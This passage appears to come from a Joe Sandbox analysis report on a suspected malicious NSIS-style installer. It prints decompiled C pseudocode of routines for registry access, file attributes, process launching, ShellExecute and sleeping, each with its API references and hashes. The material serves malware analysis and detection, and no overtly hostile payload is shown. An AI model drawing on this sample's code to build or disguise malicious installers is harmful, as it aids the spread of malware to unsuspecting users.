                                      • Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
                                      • Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
                                      • Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004060B9(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                      				void* _t7;
                                      				long _t8;
                                      				void* _t9;
                                      
                                      				_t7 = E0040603E(_a4,  &_a12);
                                      				if(_t7 != 0) {
                                      					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
                                      					return _t8;
                                      				}
                                      				_t9 = 6;
                                      				return _t9;
                                      			}






                                      0x004060c3
                                      0x004060ca
                                      0x004060dd
                                      0x00000000
                                      0x004060dd
                                      0x004060ce
                                      0x00000000

                                      APIs
                                      • RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406147,?,00000000,?,?,Call,?), ref: 004060DD
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Open
                                      • String ID:
                                      • API String ID: 71445658-0
                                      • Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
                                      • Instruction ID: 58905e2b4c491557ae101ac833ec4d98e5c4c38dddbb54ebc3676a7d29ad937b
                                      • Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
                                      • Instruction Fuzzy Hash: 90D0123204020DBBDF119E90ED01FAB3B1DAB04750F014426FE16A5090D775D570AB14
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004015A3() {
                                      				int _t5;
                                      				void* _t11;
                                      				int _t14;
                                      
                                      				_t5 = SetFileAttributesW(E00402C37(0xfffffff0),  *(_t11 - 0x24)); // executed
                                      				_t14 = _t5;
                                      				if(_t14 == 0) {
                                      					 *((intOrPtr*)(_t11 - 4)) = 1;
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t11 - 4));
                                      				return 0;
                                      			}






                                      0x004015ae
                                      0x004015b4
                                      0x004015b6
                                      0x00402885
                                      0x00402885
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: AttributesFile
                                      • String ID:
                                      • API String ID: 3188754299-0
                                      • Opcode ID: d6d9806800ec5ccd533d2c0c0804cc6b52acb563155f8df96d71c34e139e9099
                                      • Instruction ID: 98fc1d19ac344296b2804d9baf38034e6035577dbf93b3ceff4c84e4d608f923
                                      • Opcode Fuzzy Hash: d6d9806800ec5ccd533d2c0c0804cc6b52acb563155f8df96d71c34e139e9099
                                      • Instruction Fuzzy Hash: 85D01272B04104DBDB21DBA4AF0859E72A59B10364B204677E101F11D1DAB989559A59
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0040422D(int _a4) {
                                      				struct HWND__* _t2;
                                      				long _t3;
                                      
                                      				_t2 =  *0x4291d8;
                                      				if(_t2 != 0) {
                                      					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
                                      					return _t3;
                                      				}
                                      				return _t2;
                                      			}





                                      0x0040422d
                                      0x00404234
                                      0x0040423f
                                      0x00000000
                                      0x0040423f
                                      0x00404245

                                      APIs
                                      • SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040423F
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID:
                                      • API String ID: 3850602802-0
                                      • Opcode ID: 01c1f4f33aac3a691bde0469ce369b5b71776cf29dade69a37d66e4d0fb82d37
                                      • Instruction ID: d07d2c2d8c4880ed0075d79043221f50ab42e2b574db457b7482678080f727f2
                                      • Opcode Fuzzy Hash: 01c1f4f33aac3a691bde0469ce369b5b71776cf29dade69a37d66e4d0fb82d37
                                      • Instruction Fuzzy Hash: 42C04C717402017BEA208B519D49F1677549790B40F1484797740E50E0D674E450D62C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405874(struct _SHELLEXECUTEINFOW* _a4) {
                                      				struct _SHELLEXECUTEINFOW* _t4;
                                      				int _t5;
                                      
                                      				_t4 = _a4;
                                      				_t4->lpIDList = _t4->lpIDList & 0x00000000;
                                      				_t4->cbSize = 0x3c; // executed
                                      				_t5 = ShellExecuteExW(_t4); // executed
                                      				return _t5;
                                      			}





                                      0x00405874
                                      0x00405879
                                      0x0040587d
                                      0x00405883
                                      0x00405889

                                      APIs
                                      • ShellExecuteExW.SHELL32(?), ref: 00405883
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: ExecuteShell
                                      • String ID:
                                      • API String ID: 587946157-0
                                      • Opcode ID: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
                                      • Instruction ID: 322818d701d9cc3fc85427ca8463de8bac6637280c84b784c1803e53dd53602d
                                      • Opcode Fuzzy Hash: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
                                      • Instruction Fuzzy Hash: 55C092B2000200DFE301CF90CB08F067BF8AF59306F028058E1849A160C7788800CB69
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00404216(int _a4) {
                                      				long _t2;
                                      
                                      				_t2 = SendMessageW( *0x42a208, 0x28, _a4, 1); // executed
                                      				return _t2;
                                      			}




                                      0x00404224
                                      0x0040422a

                                      APIs
                                      • SendMessageW.USER32(00000028,?,00000001,00404041), ref: 00404224
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID:
                                      • API String ID: 3850602802-0
                                      • Opcode ID: 5ca98cf1e0c0583582b159413f58df588980414c8ed315818e52b16ce3e78aaf
                                      • Instruction ID: b613885e7b2bd37cd291f1056477dd360c9db9b8968a6fc02a79c1078c08bd5c
                                      • Opcode Fuzzy Hash: 5ca98cf1e0c0583582b159413f58df588980414c8ed315818e52b16ce3e78aaf
                                      • Instruction Fuzzy Hash: 51B09235280600ABDE214B40DE49F467A62A7B4701F008178B240640B0CAB200A1DB19
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004032F5(long _a4) {
                                      				long _t2;
                                      
                                      				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
                                      				return _t2;
                                      			}




                                      0x00403303
                                      0x00403309

                                      APIs
                                      • SetFilePointer.KERNELBASE(?,00000000,00000000,00403088,?,?,00000006,00000008,0000000A), ref: 00403303
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FilePointer
                                      • String ID:
                                      • API String ID: 973152223-0
                                      • Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
                                      • Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
                                      • Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
                                      • Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00404203(int _a4) {
                                      				int _t2;
                                      
                                      				_t2 = EnableWindow( *0x4236e4, _a4); // executed
                                      				return _t2;
                                      			}




                                      0x0040420d
                                      0x00404213

                                      APIs
                                      • KiUserCallbackDispatcher.NTDLL(?,00403FDA), ref: 0040420D
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CallbackDispatcherUser
                                      • String ID:
                                      • API String ID: 2492992576-0
                                      • Opcode ID: 01955649d6a23d6122fd97f0d30e7ef4bb95205b783011211b5c169bc8d67104
                                      • Instruction ID: cd7a90ca9096364f54c072f0977fd0b21683179c1f8a6313e809ce6865a57a73
                                      • Opcode Fuzzy Hash: 01955649d6a23d6122fd97f0d30e7ef4bb95205b783011211b5c169bc8d67104
                                      • Instruction Fuzzy Hash: AFA01231100400ABCE124F50DF08C09BA31B7B43017104439A1400003086320420EB08
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E00401F00() {
                                      				void* _t9;
                                      				intOrPtr _t13;
                                      				void* _t15;
                                      				void* _t17;
                                      				void* _t20;
                                      				void* _t22;
                                      
                                      				_t19 = E00402C37(_t15);
                                      				E004052B0(0xffffffeb, _t7); // executed
                                      				_t9 = E00405831(_t19); // executed
                                      				_t20 = _t9;
                                      				if(_t20 == _t15) {
                                      					 *((intOrPtr*)(_t22 - 4)) = 1;
                                      				} else {
                                      					if( *((intOrPtr*)(_t22 - 0x20)) != _t15) {
                                      						_t13 = E004066D7(_t17, _t20);
                                      						if( *((intOrPtr*)(_t22 - 0x24)) < _t15) {
                                      							if(_t13 != _t15) {
                                      								 *((intOrPtr*)(_t22 - 4)) = 1;
                                      							}
                                      						} else {
                                      							E00406193( *((intOrPtr*)(_t22 - 0xc)), _t13);
                                      						}
                                      					}
                                      					_push(_t20);
                                      					CloseHandle();
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t22 - 4));
                                      				return 0;
                                      			}









                                      0x00401f06
                                      0x00401f0b
                                      0x00401f11
                                      0x00401f16
                                      0x00401f1a
                                      0x00402885
                                      0x00401f20
                                      0x00401f23
                                      0x00401f26
                                      0x00401f2e
                                      0x00401f3d
                                      0x00401f3f
                                      0x00401f3f
                                      0x00401f30
                                      0x00401f34
                                      0x00401f34
                                      0x00401f2e
                                      0x00401f46
                                      0x00401f47
                                      0x00401f47
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 004052E8
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(00403233,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 004052F8
                                        • Part of subcall function 004052B0: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00403233), ref: 0040530B
                                        • Part of subcall function 004052B0: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll), ref: 0040531D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405343
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040535D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040536B
                                        • Part of subcall function 00405831: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,004266F0,Error launching installer), ref: 0040585A
                                        • Part of subcall function 00405831: CloseHandle.KERNEL32(?), ref: 00405867
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F47
                                        • Part of subcall function 004066D7: WaitForSingleObject.KERNEL32(?,00000064), ref: 004066E8
                                        • Part of subcall function 004066D7: GetExitCodeProcess.KERNEL32(?,?), ref: 0040670A
                                        • Part of subcall function 00406193: wsprintfW.USER32 ref: 004061A0
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
                                      • String ID:
                                      • API String ID: 2972824698-0
                                      • Opcode ID: c16697fcb2bd3d13e2a0f714b19764dceb2bd972e2531188fe870dcb6e060f9f
                                      • Instruction ID: bab1dc3541612b80991091494b36371daed99366b6aa6fafa292830653d85492
                                      • Opcode Fuzzy Hash: c16697fcb2bd3d13e2a0f714b19764dceb2bd972e2531188fe870dcb6e060f9f
                                      • Instruction Fuzzy Hash: 95F09032905121EBCB21FBA18D8899E72A49F01328B2505BBF501F21D1C77D0E518AAE
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004014D7(intOrPtr __edx) {
                                      				long _t3;
                                      				void* _t7;
                                      				intOrPtr _t10;
                                      				void* _t13;
                                      
                                      				_t10 = __edx;
                                      				_t3 = E00402C15(_t7);
                                      				 *((intOrPtr*)(_t13 - 0x4c)) = _t10;
                                      				if(_t3 <= 1) {
                                      					_t3 = 1;
                                      				}
                                      				Sleep(_t3); // executed
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t13 - 4));
                                      				return 0;
                                      			}







                                      0x004014d7
                                      0x004014d8
                                      0x004014e1
                                      0x004014e4
                                      0x004014e8
                                      0x004014e8
                                      0x004014ea
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • Sleep.KERNELBASE(00000000), ref: 004014EA
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Sleep
                                      • String ID:
                                      • API String ID: 3472027048-0
                                      • Opcode ID: 631673ee5c1514c42db72881fe5300a3541e6f73d544da548d52187aa9158ecf
                                      • Instruction ID: a3662d66bb57f0e4aff7a204df28f74e708ba92ca424d5dc4d08b62f06a02aad
                                      • Opcode Fuzzy Hash: 631673ee5c1514c42db72881fe5300a3541e6f73d544da548d52187aa9158ecf
                                      • Instruction Fuzzy Hash: F6D0A773F141008FD720EBB8BE8945E73F8E7803193208837E102F11D2E578C8528A6D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 96%
                                      			E00404C2C(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
                                      				struct HWND__* _v8;
                                      				struct HWND__* _v12;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				intOrPtr _v24;
                                      				signed char* _v28;
                                      				long _v32;
                                      				signed int _v40;
                                      				int _v44;
                                      				signed int* _v56;
                                      				signed char* _v60;
                                      				signed int _v64;
                                      				long _v68;
                                      				void* _v72;
                                      				intOrPtr _v76;
                                      				intOrPtr _v80;
                                      				void* _v84;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t192;
                                      				intOrPtr _t195;
                                      				long _t201;
                                      				signed int _t205;
                                      				signed int _t216;
                                      				void* _t219;
                                      				void* _t220;
                                      				int _t226;
                                      				signed int _t231;
                                      				signed int _t232;
                                      				signed int _t233;
                                      				signed int _t239;
                                      				signed int _t241;
                                      				signed char _t242;
                                      				signed char _t248;
                                      				void* _t252;
                                      				void* _t254;
                                      				signed char* _t270;
                                      				signed char _t271;
                                      				long _t276;
                                      				int _t282;
                                      				signed int _t283;
                                      				long _t284;
                                      				signed int _t287;
                                      				signed int _t294;
                                      				signed char* _t302;
                                      				struct HWND__* _t306;
                                      				int _t307;
